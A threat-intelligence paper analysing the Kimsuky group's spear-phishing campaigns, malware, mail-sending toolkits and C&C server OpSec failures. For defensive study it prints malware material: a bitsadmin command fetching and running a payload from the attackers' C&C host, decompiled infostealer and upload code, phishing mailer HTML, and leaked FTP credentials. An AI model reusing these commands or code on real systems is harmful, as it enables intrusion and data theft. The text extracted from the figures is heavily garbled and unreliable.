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Abstract

The Kimsuky group is a threat group that is known to have been behind the KHNP (Korea Hydro & Nuclear Power) cyber
terrorism attacks of 2014 and is still active in 2019.

Since 2018, we have been profiling and tracking spear-phishing emails and malicious code related to the Kimsuky group.

The spear-phishing emails used by the group have been determined to have the purpose of stealing web portal account
information and delivering malicious code. The main targets are government and military officials, as well as journalists.

We have analysed the changing behaviour of the Kimsuky group through ongoing tracking of the 1oCs related to Kimsuky,
including simple account hijacking.

In this paper, we present the results of an analysis not only of the malware used by the Kimsuky group but also of server-
side samples (tools and templates that send out spear-phishing emails, like a phishing rod) which we recently
investigated.

We have also confirmed that the C&C server used for the earlier attack continues to be used for various purposes, such
as distribution of malicious code, logging of infections, and sending phishing mail.

1. Introduction

In September 2013, Kaspersky Lab announced an APT attack targeting major Korean agencies [1]. According to the data,
the Kimsuky group was using malicious Hangul documents, like other attack groups targeting Korea, and the attack
featured remote control tools (such as Team Viewer) and communication channel configuration using webmail. In
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February and March 2014, attacks that seemed to have been carried out by the same group against Korean public
institutions continued to occur [2].

In December 2014, an attempt was made to destroy PC disks by sending 5,986 spear-phishing emails to 3,571
employees of Korea Hydro & Nuclear Power Co., Ltd. However, only eight PCs were infected with malware, of which five
hard disks were initialized.

The malware used in this spear-phishing attack was similar in structure and operation to the malware used by the
Kimsuky group, and the Hangul word processor vulnerability used in the malware was the same as that used in the
Kimsuky malware. From these results, we inferred that the focus of the Kimsuky group was on social confusion and
monitoring of North Korean defectors and politicians, rather than acquiring money.

In June 2015, a number of web portal email accounts were hacked, sending emails with malicious Hangul document files
and phishing emails to steal portal account credentials. In January 2016, a large number of emails with malicious
attachments were sent under the guise of ‘Office of National Security at the Blue House’ to government research
institutes. Analysis by related organizations identified the malicious attachment as Kimsuky malware [3].

2. Related cases

In January 2019, an email suspected to be carrying malicious code was sent to dozens of journalists, most of whom were
covering South Korea’s ministry in charge of relations with North Korea, prompting an investigation into the incident. The
email, which was entitled ‘TF reference info’ and had a compressed file attached, was sent to more than 70 reporters,
most of whom were members of the unification ministry’s press corps. It was sent through a private email address from a
person named ‘Yoon Hong-geun’. The ministry suspected that it contained malicious code designed for hacking [4]. This
issue was known variously as Operation Cobra Venom [5], Operation Kitty Phishing [6] and Operation Kabar Cobra [7].

3. Toolset characteristics

In the process of tracking the Kimsuky group, we were able to acquire the mail-sending tools and malware used in various
spear-phishing attacks. The attack tools used by the Kimsuky group can be broadly categorized into server-side toolkits
and malware.

Server-side toolkits

Mailer (shape & core), beaconer, phisher, logger

The Kimsuky group created a mailing toolkit for attack and used it repeatedly. We found that, when constructing phishing
pages for account takeover, they reused the existing source code of the original site and specific arguments in the URL.
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Figure 1: Daum portal phishing page.

Malware

Dropper (malicious or camouflaged HWP documents), script, infostealer

The malware used by the Kimsuky group in recent spear-phishing attacks includes a dropper that is a malicious or
camouflaged HWP file; a malicious script, which logs and downloads additional malware to the C&C server; and an

infostealer. Some infostealers have a module that downloads additional malware.

Examples of

the flow of malware used in spear-phishing attacks are shown in Figure 2.

3/24



4) Execute >
Normal HWP Documents

2) Self. BEI-UPXE.hwp

Delate (Mormal HWP Documents)
14) Upload
Infected PC lmormllun o C&C
S et ) Create File— | | I --------- -)E
[ 15} Remote Control
rns.bat E3-0IXE.hwp Resources AlyacMonitor.db_ini [cac agm[] e e T
[BLANK.....].scr in Malware (CAC SERVER Int (sal
(Camoutlaged HWP Documents) A
Create Fi : Injection target process
: ({explorer.exe)
o) -h%
DLL ]
AlyacMonitor.db I 13) Injection into
{Malware) : 1 the normal process
e mac| "
T) Check MAC Mdrm: :
&) Execute and Windows Version Information 1
specific function :
. i
]
B) Set CAC address |
to specific registry value :
¥ |ScreenRibbonsDomain) 1
| ]
v 0O
]
1
Entry 9) Create Directory 12) Malware self-replicatidg
CheckFile() function . (AlyacMonitordil)) 1
AppDataRoaming\MicrosoffiAlyacEst 1
]
N 1 DR
i bit from CAC server
10) Check Esmﬂ?ﬂﬁfﬁmwm
environment (3264bit)
—®
11) Registration in registry
related to startup program
for persistent infection
(Abyvac Update)
Figure 2: The flow of malware used in spear-phishing attacks.
A classification of the attack tools used by the Kimsuky group is shown in Table 1.
Name No. Type Details
Mailer 1 Mailer Mailer (just shape)
(shape)
Mailer (core) 2 Mailer Mailer (actual function)
1) Attachment of malware
2) Link to phishing page for account hijack
Beaconer 3 Web beacon Beacon to check whether mail is being viewed
Phisher 4 Account stealer, Phishing toolkit(lod) phishing page for account stealing
phishing
Logger 5 Logging, phishing Logging of phishing target information
Malicious 6 Dropper, spear phishing  Malicious HWP documents
HWP
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Camouflaged 7 Dropper, spear phishing = Camouflaged HWP documents (e.g. sfx, exe)
HWP

Script 8 Downloader, logging Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)
Infostealer 9 C&C, DLL, downloader,  Steals information from infected target and downloads additional
FTP logging malware (in some cases using FTP)

Table 1: Kimsuky toolset.

4. Tracking malware and monitoring C&C servers

Attacker # defender: OpSec failures

The attacker and defender are on different sides [8]. In addition, an attacker who continues to attack does not have a
good understanding of defence. There can be a difference between an attacking position and a defending position.

After all, attackers are also in the position of developing malware and server-side toolkits.

Attackers who develop various attack tools are in the same position as those in general development. While working
within a limited timeframe and with limited resources, information leakage and vulnerabilities can occur naturally due to
code reuse or C&C server operation mistakes.

In the course of investigating and analysing the C&C server, several security weaknesses were discovered, which
provided us with good information for investigation and tracking. We will look at the following cases of OpSec failure:

1. Directory listing
2. Leaked FTP access information
3. File download vulnerability

OpSec failure case 1: Directory listing

Case 1.1: After DOKKAEBI campaign: H-DS (distribution) type

Name No. Type Details
Malicious HWP 6 Dropper, spear-phishing Malicious HWP documents

Script 8 Downloader, logging Downloads additional malware and logs (e.g.
*.vbs, *.wsf, *.jse, *.ps1)

Table 2: Related toolset.
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Profiling of Malicious Hangul Files Vi
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Figure 3: Profiling of malicious Hangul files.

Following the DOKKAEBI campaign, malicious Hangul documents were continuously analysed [2]. During this process,
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we tracked a C&C server (suppcrt-seourity[.Jesy.es) and malware related to malicious Hangul documents.

The file name of the malicious Hangul sample uploaded to VirusTotal on 23 May 2018 (shown in Figure 4) is ‘S & M

o1.hwp’ (‘Declaration of war end’) [10].

21 (1) 21 engines detected this file
5f2acBB72e19310bd532c47d 20927 2bd75075696deabfce4 7d1d3711 Bafi141 227.97 KB
DAEMETH hwp Siz
i
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY o
Submissions
Date Name Source Country

2018-05-23 00:52:17 DARANEH MM hwp

Figure 4: Malicious Hangul sample & 7% A191.hwp.

The overall flow of the sample is as follows [11].

{41 725ba15c - api KR

6/24



d Hwp.exe "C\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc47d1d37f18aff141.hwp” (PID: 5800)
| & HimTraylcon.exe (PID: 6092) & (T Hash Seen Before
“ @1 notepad.exe (PID: 3908) #
~mregsvr32.exe /s "%TEMP%\core.dll" (PID: 4020) @
] wscript.exe "%APPDATAY%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk.jse" (PID: 3904) 4

Figure 5: Sample flow.

Name No. Type MD5

‘Second Road to Go: Building a Peace System for 1 Initial 8332be776617364c16868c1ad6b4efe7

Unification’ dropper

core.dll (OneDIl.dll) 2 DLL 4de21c3af64b3b605446278de92dfff4
(dropper)

fontchk.jse 3 Script f22db1e3ea74af791e34ad5aa0297664

brid.ige (zerodll.dll) 4 DLL 2FB20830564AC781AFB7D5F422BECFC9

Table 3: Malware.

The malware fontchk.jse records the infection information (date, time, IP address, MAC address, etc.) in the path
[C&C]/update/fonts/log.txt, as shown in Figure 6. In this way, the files (including the malware) and log files that exist on
the C&C server can easily be obtained.

() suppcrt-seourity.esy.es/update
Index Of /update () suppcrt-seourity.esy.es/update/fonts/log.txt
2018-05-30 00:22:24 - 185.220. - 8 .

« Parent Directory 2018-05-30 00:22:32 - 1B5.220. - pe Figure 6:
. —TEaexe - 2018-06-04 06:28:02 - 112.218. - pe

et 2018-06-04 06:28:07 - 112.218. - pp
+ boot
« fonts/
« templates/

Fontchk.jse records the infection information in the path [C&Cl/update/fonts/log.txt.

Since a lot of resources are required to build and verify (check the actual operation of) the C&C servers used by
attackers, we monitor them continuously, based on the assumption that they are likely to be recycled (reused) rather than
being used once and then destroyed.

A new log was recorded on the C&C server on 2018-07-10 (D+49), leading us to conduct further investigation and
analysis.

SN GEN & suppcrt-seourity.esy.es/update/fonts/log

2018-07-10 02:41:10 - 183.101. - C
2018-07-10 02:41:15 - 183.101. - e
2018-07-10 02:41:17 - 183.101. - f
2018-07-10 02:41:20 - 183.101. - C485088E 00106,1,7601,64
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64

Figure 7: New infection log.

The C&C server leaked its directory listing and didn’t have proper access control, so it was possible to check the
remaining logs following an infection.
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MAC Address Prefix C48508 C4-85-08 C4:85:08

Manufacturer Intel Corporate
Figure 8: MAC address look-up [12].

Previously, we analysed C&C servers, and we saw that the MAC address is used as the directory path. Using this
information, we were able to obtain additional malware by using the MAC address written in the infection log.

Name No. Type MD5 Details
zerobase 1 Binary 53ac231e8091abcd0978124f9268b4e4  XOR encoding
HanyangUpload_script.dll 2 DLL 8b59ea1ee28e0123da82801abcOcce4dd XOR decoding - 0x09FD8477

cac.wsf 3 Script  fa2ffcd70fba43dd0653a0ec87863d8a File upload to C&C server

Table 4: Malware obtained using MAC address C485088EXXXX.

@ suppcrt-seourity.esy.es/update/fonts/C485088 ERIY
Index of /update/fonts/C485088E|

+ Parent Directory
+ 2erobase

Figure 9: Tracking the C&C server and discovering new

malware zerobase (not found in VirusTotal).

We confirmed that zerobase (MD5: 53ac231e8091abcd0978124f9268b4e4) had four-byte XOR encoding (key:
0x09FD8477), and a PE file was obtained through decoding, as shown in Figure 10.

E B length: 419327 total: 2 —1
Recipe S | Input Lines: s (= o B

44AT1477 BAFDA477 @DFDB4T7T FE@28477 B1FDB4TT @OFDBATT 45FDE477 @9FDA477 @9FDB4TT

@ n

Srom B > POFDB4T7 POFDB4T7 BOUFDBATT @9FDB4TT BOFDS4T7 BOFDEATT B1FCS477 BTEZ3ETO PI49BDEA
ey 28458538 CADCDOLF GOBEA4GT TBO2E305 5B0RA414 GBO3EA1S 7DDDEG12 208FF119 2004EAST
oy 4DBZD757 G492EG12 27FABI7D 2DFDB477 BOFDB4T7 B443D3B4 FO22BDE7 FO22BDET FOZ2BDET

834@BEER FB2ZZBDET 8340BBEG GE22BDET BI4BBYUEG E222BDE7 GES2TAE7 F222BDET BA47BEEG

E522BDE7 BA47BBEG DO22BDE7 BA47BOEG E@22BDE7 B340BCE6 F722BDE7 F@22BCET 8422BDE7

XOR @) 1l ER44BAEG FS822B0E7 EQ44BDEG F122BDE7 E@4442E7 F122BDE7 EQ44BFEG F122BDE7 5B94ETLF
FO2ZBDE7 @9FDB477 B9IFDB4TT 59BBB47T 45FCE177 BREDC32C @IFDB4T7 @9FDB477 ESFDBESE

<r; HEX ~ B2FCBATA @9598577 09438577 QOFDB4TT 79928477 BUEDB4T7 @930D8577 @9FDBAGT BOEDB4TY
77 B9FFE477 @FFDB477 @9FDB477 @FFDB4TT @9FDBATT B95DET7T GOF98477 @9FDE47T @BFDCATE
@9FD9477 @9EDA477 ROFDO4TT QQEDB4TT @OFDBATT 10FDSATT BAD28677 JIFDE477 29C08677
59FD8477 @98DB777 E9FCE4T7 @9FDB4TT @9FDB4TT @OFD84TT @OFDBATY 097D87TT 1DES84TT
99038677 15FDB477 @IFDB477 @9FDB4T7 @9FDE4T7 BOFD8477 BOFDBATY BIFDB4TT BODIBGTT

Scheme

Standard O Mull preserving

time: E7ms
e

: IC
Output length: 136368 B0 ® il

lines:

MZieeuurnnns FFennnnnnn L e T T Py A e Sy e e e e e, It .L1!This
program cannot be run in DOS mode.

$1awne s HAWAUBD, OBD, UBD, .k . HBO, .4<.gBO. . %=, BE0,g.p.OBD, 791, 189, "9<,URD, *0=, 6R0, . L8
.pRS.URA..R9.E0.AB9.E19, pRO. 4 K. pRI. &1, . PRI . RichiBS......... PEsslssasn Blissssiin a.

d lll’
LUl T P TR e I Y Y 'S VRN . S TR T N Y Y S

Figure 10: The file had four-byte XOR encoding (key: 0x09FD8477) a PE file was obtained through decoding.

The original DLL name identified in the four-byte XOR-decoded malware is HanyangUpload_script.dll.
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.rdata:10022FE8 ; Export Ordinals Table for HanyangUpload_script.dll

.rdata:10022FES8 ;

.rdata:10022FE8 word_10022FE8 dw @, 1
.rdata:10022FEC aHanyanguploadS db 'HanyangUpload_script.dll',@
.rdata:10022FEC
.rdata:10023005 aDllregisterser db 'D1lRegisterServer’',@
.rdata: 10023005

.rdata: 10023017 aGetname

Figure 11: HanyangUpload_script.dll.

db 'GetName',®

; DATA XREF: .rdata:10822FD4to
; DATA XREF: .rdata:10822FBCto

; DATA XREF: .rdata:off_10022FEBt0
; DATA XREF: .rdata:off_10022FE@10

The function of the malware (HanyangUpload_script.dll) is as follows:

1. Collect information from infected computers.

if ( GetAdaptersInfo(&AdapterInfo, &SizePointer) )
goto LABEL_2@;
v@ = RAdapterInfo;

while ( 1)
{

memset(v1g, @, @x184u);
vl = &v@->Gatewaylist.IpAddress;

do

{
v2
vl

v1-»String[@];
(vl + 1);

v1-»String[VolumeNameBuffer - &vi->GatewayList.IpAddress

while ( v2 );
vsprintf_180018Fa(

v18,

"E02X%02XXONHEO2XXOINED2XN" ,
vi->Address[@],
vi->Address[1],
vB->Address[2],
vi->Address[3],
vi->Address[4],
vi->Address[5]);
if ( !strstr(vi8, "00es0aes™) )

LABEL_20:
if ( GetVolumeInformationA(
1lc:'\'\ll,
VolumeNameBuffer,
Bx184u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
e,
8) )
{ :
v9 = VolumeSerialNumber;
}
else
{
v8 = GetTickCount();

vl = rand{) * vB;
VolumeSerialNumber = v9;

¥
vsprintf_10001930(&ComInfo_1002E9D@, 16, "¥X", v9);
result = 1;

}

Figure 12: Collecting information.

2. Scan specific files.

z

drass
.data:1062..
Jdata:18e2..
.data:1062..
Jdata:1802..
.data: 1882
.data:1eez.
.data:18@2.
.data:1082..
.data:18@2_
.data:1eez..
.data:18e2..
.data:1082..
Jdata:1002..
.data:1062..
Jdata:1002..
.data:1062..
Jdata: 1062
.data:1882_.
.data:1082..
Jdata:1ee2.
.data:1e@z.
.data: 1882
.data:1082.

&l E El &l El El E E EEEEEE E EEEEEE D E

Length
2000Ba5C
80000967
2000BE5C
20000865
BB00RASF
20008878
BB0RRBEE
00088863
aaeeee7a
BE00RRGT
20008864
20008066
20008268
2000Be66
20000065
20008067
B00006F
8000085C
20000068
B000BB4F
000RDBGA
20098068
00088869

ﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁhﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁi

Figure 13: Scanning files.

String

C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Wsers\\Insoo. Jeongh\Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeongh \Documentsi\1
C:4\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsi\1l
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsiil
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeongh\Documentsi\1l
C:\\Users\\Insoo. Jeongh\Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsiil
C:\\Wsers\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsi\1l
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeongh \Documentsi\1
C:\\Users\\Insoo. Jeong\\Documentsi\1l
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo. Jeongh\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsiil
C:\\Users\\Insoo. Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsiil

Documents\\Dirll New Life\\NICMAANICN 2@17\\Peace Man List.hwp
Documentsi\Dirll New Life)\NICN\\NICN 2017\\Peace Men in the Country.p
Documents\\Dirll New Life\\NICN\\NICN 2@17\\Peace men Pictures
Documents\\Dir@9 Personal\\EWH 2 Q8 M| S\\20120 S8tAISE 1 (H|¢
Documents\\Dirll New Life\\2 AR} FFE\\ASIA 20 242 hwp
Documents\\Dir@9 Personal\\My Ministry Partners\\ 3 Ql==M mAlel E8HAL
Documents\\Dir@9 Personal\\My Ministry Partners\\A}Sl& 93§ OtLjof &
Documents\\Dir@9 Personal\\My Ministry Partners\\QtL}O}E AL E.hwp
Documents\\Dir@2 Message\\Message Pre Data\\S%ta} M 2|0 ZApY
Documents\\Dirll New Life\\From David Alton OJEjMMEQ} SHEAISE.
Documents\\Dirll New Life\\NK ApSiHFrat Ao AJ0(2H223]).hwp
Documents\\Dir83 Wongo\\H 2 2H HI\EZDE ZM[MD HIHHD . m
Documents\\Dirll New Life\\F 253} FFEVINK Team 2@ £ ¢=k3.d
Documents\\Dir89 Personal\\EH 8% WAF 20144 20| HH 0. hw
Documents\\Dirg9 Personal\\EH 228 DAS\WE=28Hd DA% A wp
Documents\\Dir9 Personal\\EH 2828 HAS\E8HE 20124 (). h
Documents\\Dirgd Personal\\EH 228 DASWHHSHH HZ FHIE
Documents\\Dir89 Personal\\EH S28F M2 S\\E A S0 . twp
Documents\\Dirll New Life\\B SO A Lp2| ofjA|Z|2b ZEo|\\ALS WS 1,
Documents\\Dirll New Life\\NK OJAt®| 16.18.pptx

Documents\\Dirll New Life\\WKTHZ| M D EHUR| T HYIEALY HQYFrAD Y,
Documents\\Dirll New Life\\2{AlO} S HE AZ(HEHH). wp
Documents\\Dirll New Life\\Ql3 242 mh\\WNK E AP E DA (Non-Field)

3. Upload files (AllList_[MAC Address]_YYMMDD_HHMMSS) to the C&C server using a script (cac.wsf)
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strepy(&vE, "ac.wsf");
* = *"C:\\ProgramData\\cac.wsf";
memset(&vo, 8, BxEDu);

memset(hve, 8, Bx184u); data: 18020458

= fopen( » "Wb"); g
if (v2) ;
{ 4
fwrite(aXmlPackagelobl, 1u, 2298u, v2); 3
fclose(vi); o

Enc_File_10@@2288(a1);
vsprintf_100081938(&v6, 26@, "/filepath:\"¥%s\"", al);
Print_Debug_18082618("Start Send");

memset (& , B, Bx3Cu);
.chSize = 6@;
.1pFile = ]
.fMask = 64;

-lpParameters = &vb;
.lpVerb = "open”;

);
W vgledbject( .hProcess, @x927C0u);
Print_Debug_180@82618("end Send");

rPath ript.Arguments.

HttpUpload(strPath, "http:

WScript.Echo(

r tRe t |

Figure 14: Uploading files to C&C s

erver.

Case 1.2: Malware camouflaged as HWP documents

58 a¥mlPackagelobl db <7
154 db

db '
db *

db
db
db
db
db

db 9,9, var xhr = new ActiveXbject("WinHttp.WinHttpRequest.5.1"
db Bih

db 8Dh,@ih

db 9,9, var inputStream = new ActiveXObject(',27h,"ADODB.Strean’

db
db
db
db

", Bh, GAR
»" , BDh, BAh

' Z7h, ‘sydAMDhr* ,27h, > , B0, @A
language=",27h, " I5cript ', 27h, " »<I [CDATAL ", &Dh ,8Ah

9, tion myTrfin{x) {',80h,a8h

9,9, "return x.replace(/™\s+{\s+$/gn, " ,2Th, 27h, " ] ; " ,80h, B4k

9, "}" ,@0h, Bah

Bbh, @Ah

4, "function HttplUpload(siocalFile, sPhplrl)',@Dh,&Ah

'y ' 480k, BAR
inputStrean. Open{);
inputStrean. Type =
inputStrean. Load

5,9, "var dom =

* 8Dh, Bak
| adType8inary ',00h,aah

le{sLocalFile) ;" 80, Bk
et ("MExn 12 . DOMDOE Lms

9,9, "sReq
‘data; name=
Bk

9,9, "sRequestHeader

n

}i' 000

127h, ")

;" , 800, BAh

form-"

'3 ", 0Dh

shequestheader + “Content-Type: application/”

Name No. Details

Type
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Mailer
(shape)

Mailer (core)

Beaconer

Camouflaged
HWP

Script

Infostealer

9

Mailer Mailer (just shape)

Mailer Mailer (actual function)

1) Attachment of malware
2) Link to phishing page for account hijack

Web beacon Beacon to check whether mail is being viewed

Dropper, spear Camouflaged HWP documents (e.g. sfx, exe)

phishing

Downloader, Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)
logging

C&C, DLL, FTP Steals information from infected target and downloads additional malware

Table 5: Related toolset.

(in some cases using FTP)

Among the tools described above, this malware is camouflaged as an HWP document [13].

et 2ot [ S [ 0IE BIF]

f1d2780be Thb24d 7525012a566a37ch, scr

T &4 &8 2 E7( sen) Member Value
43 fId2780bc Tbb2d4d 7525012a566a37ch, scr ManifestVersion 10
Al CitlsersWEUserwDesktop e L P B
og ° o% 37  @E 3’ BYER SR L inRAIR £ I
[d 1.hwp 308,980 322560 SHHQMA 3. 2019-03-07 = 60326 N
l.vbS 2019 4,759 VBScript 2=... 2019-02-28 2= 4:05:48
1000
® ;A ok RIS #(SFX) ASEE BEH2I ZESH S sLICH i
By ture #
etup=1.hwp
Setup=wscript.exe 1.vbs 6595b64144ccf1df
Temphode
Silent=1
Overwrite=1
asInvoker

Figure 15: Malware camouﬂage—d as an HWP document.

Name
111.scr
1.hwp

1.vbs

Powershell

No.

3

Table 6: Malware.

Type
SFX
HWP
Script

Script

MD5 Details
10a120f573874c2af6b9172a26fdc597  Camouflaged as HWP documents
aeb5ddda3749dcd72bc6cf6d658c5e31c - Normal HWP

0718bfc5957758d22af02e726cb25fe3  Base64 decoding = ps1

fa2ffcd70fba43dd0653a0ec87863d8a  Additional malware download (C&C: primary-
help[.]esy.es)

At the time of analysing the malware, additional malware was downloaded from the C&C server.
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$_tmp_;
y3_tmp_;
cmd.exe /c bitsadmin /transfer notepadework /download

Jpriority normal http://primary-help.esy.es/Est/down/IEReinstal.a
1 C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt

“emd.exe fc rundll32
C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt, EntryFuncl

Figure 16: Additional malware being downloaded from the C&C server.

start-process -WiNDoW 1 $dm@ $ldf2

As in the previous case, we continued to monitor the server, based on the assumption that the attacker would reuse the
C&C server they had built.

As a result of our continued monitoring, we confirmed that a new file was uploaded to the C&C server on 2019-04-01
(D+42) and conducted further investigation and analysis.

Apr 1st at 10:02:54

# 01-change-c2 annel

Q Index of / APP 10:02 Figure 17: Mailer (shape): mail.php.
Kimsuky C2 - http:/primary-help.esy.es/
mail.php

The C&C server (primary-help[.]Jesy.es) is also a directory listing as shown in Figure 8.

We checked that the new files, mail.php and mail_ok.php, were uploaded to the C&C server.

® o 28 primary-help.esy.es

Index of /

Figure 18: The new files were uploaded to the C&C server.

« mail.php
« mail_ok.php

We confirmed that these files are tools for sending mail (i.e. mailers).

If we enter the sender and receiver information (name/email), titte and contents and select ‘COMMIT’, then we can
confirm that mail.php is a mailer — the actual operation is performed by mail_ok.php.
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: z i ® 2| g8 primary-help.esy.es/mail.php

SUXO|IE  sunw

SUXIOIOY sam0po
+UXOIE  sumos
FAUXOIHY sumomy

<= Sender Name
<= Sender Email
<= Receiver Name
<= Receiver Email

S A= <= Title
<= Contents
e
pr
ChiT) nysu suEmEess <= Attachments
COMMIT

Do

YPE htm

CT

<html lang="ja">
<head>

<meta charset="utf-8">

<META http-equiv="Content-Language” CONTENT="ja">

<meta name="product" content="Metro UI CS5 Framework">

<meta name="description” content="Time-S5pace css framework">
<meta name="author" content="Time-Space">

<meta name="Keywords" content="js, C€ss, metro,

</head>
<body >

<form method="post” name="frm" id="frm" action=[mail_ok.php| enctype="multipart/form-data” >

<table>
<tr>»

<td>&4xl0|8</td>
<td>

<input type="text" name="from_name" id="from_name" placeholder="&LIXY" size="35" >

</td>

framework, windows 8, metro ui">

Figure 19: Mail.php is a mailer. The actual operation is performed by mail_ok.php.

When using the mailer, the mail was indeed sent the normal way, but with new malware attached.
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m LE, http://primary-help.esy.es/mail.php
— - — — T —— e i |

e BAE7 |3 ) =3 A0IE » @] Web Slice Gallery »
J & http://primary-help.esy.es/mail. php R
SLA0IE  sender
SAMA0IME sender@gmail.com
TAA0IE  recv
A RO|0I 2 jack2@fsec.or kr
M= send 2 recv
Hello ~ 4| -
LI &
(=R 20kl
a HEERR
|E8E| |~ [vo3| [x 44| [E982 | M uue? | |9HE| (RHY|
A& send 2 recv
AL [~ sender <sender@gmail.com>
AR .
i s e Figure 20: The mail was sent normally
L P 2019-04-01 11:13:03
AZHHH 8 Bt 2019-04-01 11:13:03
U HROHY 17H(497.64KB)

+ ﬁ A|AE| zip (497 64KB)
and new malware was attached.

In addition, we confirmed that the web beacon was applied to check whether the mail was read, using reading.php
defined in the <img> tag in the mail sent by the mailer.
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height="25

valign="middle"
nail static/mint/img/big/ico_zip.png" width="

Web beacon

Figure 21: The web beacon was applied to check whether the mail was read.

OpSec failure case 2: Leaked FTP access information

Name No.
Mailer 1
(shape)

Mailer 2
(core)

Beaconer 3

Phisher 4
Logger 5
Script 8

Infostealer 9

Type

Mailer

Mailer

Web beacon

Account stealer,
phishing

Logging, phishing

Downloader,
logging

C&C, DLL, FTP

Table 7: Related toolset.

Details

Mailer (just shape)

Mailer (actual function)

1) Attachment of malware

2) Link to phishing page for account hijack

Beacon to check whether mail is being viewed

Phishing toolkit(lod) phishing page for account stealing

Logging of phishing target information

Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)

Steals information from infected target and downloads additional malware (in
some cases using FTP)

Among infostealers used by the Kimsuky group, some samples have been found that use FTP to download additional
malware after logging infected targets to the C&C [14, 15].

The malware uses the Hostinger free hosting service as a C&C server, and there is a security weakness in that the
account (u428325809 ) and password ([email protected]#) used for FTP communication are exposed in plain text.
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vl4 = InternetOpenA("User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.8; rv:11.8) like Gecko", @, 8, @, 8);
if ( Ivid)
return @;
v15 = InternetConnectA(v14, &szServerName, @x15u, szUserName, szPassword, lu, 8x88@@8eeu, @);
v16 = v15;
if (v15)

if ( FtpSetCurrentDirectoryA{v15, “log") )
if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, @, @, OxBEOA®RZ, @) )
{
\.f?@ = 1,‘

FtpDeleteFileA(v16, lpszRemoteFile);
}

ready.
WSER u42832583§

1 Password reguired for u428325809
PASS victoryl23!@#

ser u logged in
CWD log
250 CWD command successful
TYPE 1 Figure 22: The account (u428325809 ) and
200 Type set to I
PASV

227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e@e6_IEUpdatebd
550 7cd9e@e6_IEUpdateb4: No such file or directory
RETR 7cd9e@e6_IEUpdatebd
550 7cd9e@e6_IEUpdate64: No such file or directory

password ([email protected]#) used for FTP communication are exposed in plain text.

The same (or similar) FTP account information was identified in the other malware found after this malware (2019-04-03).

USER udB87458083. oeks39402 . B96m. COH

Password required for ud87458083.0eks39402.898m. com

IIJSER u4B87458083. vkcxvkweo. 96. lg

Password required for ud87458083,vkcxvkwen.96. 1t

PASS rhawn111]

230 User ud4B7458883.vkexvkweo.96.1t logged in

238 User u487458083.0cks39402, 8%0m. com logged in CWD Ftake

WD InstF 258 (WD command successful

258 CWD command successful Z;;ETEDE SeTREET

TYPE T . L)

268 Type set to I MD5; 227 Entering Passive Mode (153,92,6,159,138,203).
PASY STOR retry

150 Opening BINARY mode data connection for retry

227 Entering Passive Mode (153,92,6,159,140,4). PeRTranstoi¥casplete

SIZE ChromInst
558 ChromInst: No such file or directory
RETR ChromInst
558 ChromInst: No such file or directory

MD5:
0b65e3f7a40261232dd93f472933fb72

f38a8ba888c5732236a5e0653826a267

Figure 23: The same or similar FTP account information was used.

c&cC Date Login ID Password Details
user-daum-center[.]Jpe.hu @2019/04/03 u859027282 [email protected]# Same password (1)
user-protect-center|.]Jpe.hu @2019/04/09 u428325809 [email protected]# Same password (1)
nid-protect-team[.]pe.hu @2019/04/17 u621356999 [email protected]# Same password (1)
0eks39402[.]890m.com @2019/05/15 1487458083 rhdwn111 Same password (2) same UID
nid-management- @2019/05/16  u142759695 [email protected]# Same password (1)
team[.]890m.com

naiei-aldiel[.]16mb.com @2019/05/27 u487458083 [email protected]# Similar password (1) same

uiD
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vkexvkweo[.]96. 1t @2019/06/07 u487458083 rhdwn111 Same password (2) same UID

Table 8: Leaked FTP authentication information.

The FTP account information used in the malware can expose the C&C server to attacks. The string ‘victory’ used in the
password has also been found in the b374k webshell used by the Kimsuky group.

T C CEEEL]

@ b3k

Figure 24: The b374k webshell.

OpSec failure case 3: File download vulnerability

Name No. Type Details

Mailer 1 Mailer Mailer (just shape)
(shape)

Mailer 2 Mailer Mailer (actual function)
(core) 1) Attachment of malware

2) Link to phishing page for account

Malicious 6 Dropper, spear Malicious HWP documents

HWP phishing

Script 8 Downloader, Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)
logging

Infostealer 9 C&C, DLL, FTP Steals information from infected target and downloads additional malware (in
some cases using FTP)

Table 9: Related toolsets.

We captured the situation where the mailer and attachments used the same C&C server (member-authorize[.Jcom) when
the Kimsuky group also sent attachments with spear-phishing emails.

17/24



[Ministry of Foreign Affairs]

Japan-related daily trends

2t =T}l 17} (15KB)
v| [ 20190312 Y& 2 YLSEHEH.hwp@SKE)

http://member-authorize.com/security/

downloads/download.php?

fileName=20190312%20%EC%9D%BC%EB%B3
S50h12t 0|FdF HAAAYLICE %B8%20%EA%BA4%80%EB%A0%AB%20%EC%9
A2 2HC|L| 92 & THRRIL|CP D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (

%EC%99%84).hwp

